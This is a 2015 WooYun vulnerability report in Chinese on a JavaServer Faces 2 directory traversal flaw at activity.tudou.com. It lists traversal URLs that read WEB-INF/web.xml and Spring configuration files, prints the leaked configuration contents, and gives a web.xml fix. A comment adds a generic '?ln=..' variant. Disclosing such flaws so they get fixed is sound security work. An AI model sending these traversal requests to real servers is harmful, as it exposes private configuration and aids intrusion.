土豆网某站点存在JavaServer Faces 2目录遍历漏洞

编号103838
Urlhttp://www.wooyun.org/bug.php?action=view&id=103838
漏洞状态厂商已经确认
漏洞标题土豆网某站点存在JavaServer Faces 2目录遍历漏洞
漏洞类型系统/服务运维配置不当
厂商土豆网
白帽子lijiejie
提交日期2015-03-26 11:06:00
公开日期2015-05-10 11:16:00
修复时间(not set)
确认时间2015-03-26 00:00:00
Confirm Spend0
漏洞标签
关注数0
收藏数0
白帽评级
白帽自评rank3
厂商评级
厂商评rank5
漏洞简介
土豆网某站点存在JavaServer Faces 2目录遍历漏洞,默认无法读取.properties文件,所以利用价值不高
漏洞细节

目录遍历位于:

http://activity.tudou.com/javax.faces.resource.../WEB-INF/web.xml.jsf
http://activity.tudou.com/javax.faces.resource.../WEB-INF/classes/spring/spring-servlet.xml.jsf
http://activity.tudou.com/javax.faces.resource.../WEB-INF/classes/spring/main.xml.jsf
http://activity.tudou.com/javax.faces.resource.../WEB-INF/velocity/toolbox.xml.jsf


默认的,是无法读取

.class
.jsp
.jspx
.properties
.xhtml
.groovy


所以利用价值相对低

POC

<!-- 静态资源映射 -->
<mvc:resources mapping="/static/**" location="/static/" />
<mvc:resources mapping="/js/**" location="/js/" />
<mvc:resources mapping="/img/**" location="/img/" />

<!-- velocity视图解析器 -->
<bean id="velocityViewResolver"
class="org.springframework.web.servlet.view.velocity.VelocityViewResolver">
<property name="cache" value="false"></property><!--是否缓存模板-->
<property name="order" value="10" />
<property name="suffix" value=".jsp"/>
<property name="exposeSpringMacroHelpers" value="true" />
<property name="dateToolAttribute" value="dateTool"/>
<property name="numberToolAttribute" value="numberTool"/>
<property name="toolboxConfigLocation" value="WEB-INF/velocity/toolbox.xml" />
<property name="contentType" value="text/html;charset=UTF-8"></property>
</bean>
<!-- velocity环境配置 -->
<bean id="velocityConfig"
class="org.springframework.web.servlet.view.velocity.VelocityConfigurer">
<!-- velocity配置文件路径 -->
<property name="configLocation" value="WEB-INF/velocity/velocity.properties" />
<!-- velocity模板路径 -->
<property name="resourceLoaderPath" value="/" />
</bean>


<!-- base -->
<import resource="classpath:spring/ctx-base.xml" />
<!-- module -->
<import resource="classpath:spring/db.xml" />
<import resource="classpath:spring/ctx-system-common.xml" />
<import resource="classpath:spring/ctx-tudou-client.xml" />
<import resource="classpath:spring/memcached.xml" />
<import resource="classpath:spring/captcha.xml" />

修复方案

升级 或者修改web.xml,排除.xml

<context-param>
<param-name>javax.faces.RESOURCE_EXCLUDES</param-name>
<param-value>.xhtml .class .jsp .jspx .properties .xml</param-value>
</context-param>


状态信息 2015-03-26: 细节已通知厂商并且等待厂商处理中
2015-03-26: 厂商已经确认,细节仅向厂商公开
2015-04-05: 细节向核心白帽子及相关领域专家公开
2015-04-15: 细节向普通白帽子公开
2015-04-25: 细节向实习白帽子公开
2015-05-10: 细节向公众公开
厂商回复多谢,确认漏洞。
回应信息危害等级:低漏洞Rank:5 确认时间:2015-03-26 11:15
Showing 1-2 of 2 items.
评论内容评论人点赞数评论时间

关注!

_Thorns02015-03-26 11:12:00

你说这个啊 http://security.coverity.com/advisory/2013/Oct/two-path-traversal-defects-in-oracles-jsf2-implementation.htmlhttp://www.example.com/someApp/javax.faces.resource./WEB-INF/web.xml.jsf?ln=..

炯炯虾02015-03-26 11:09:00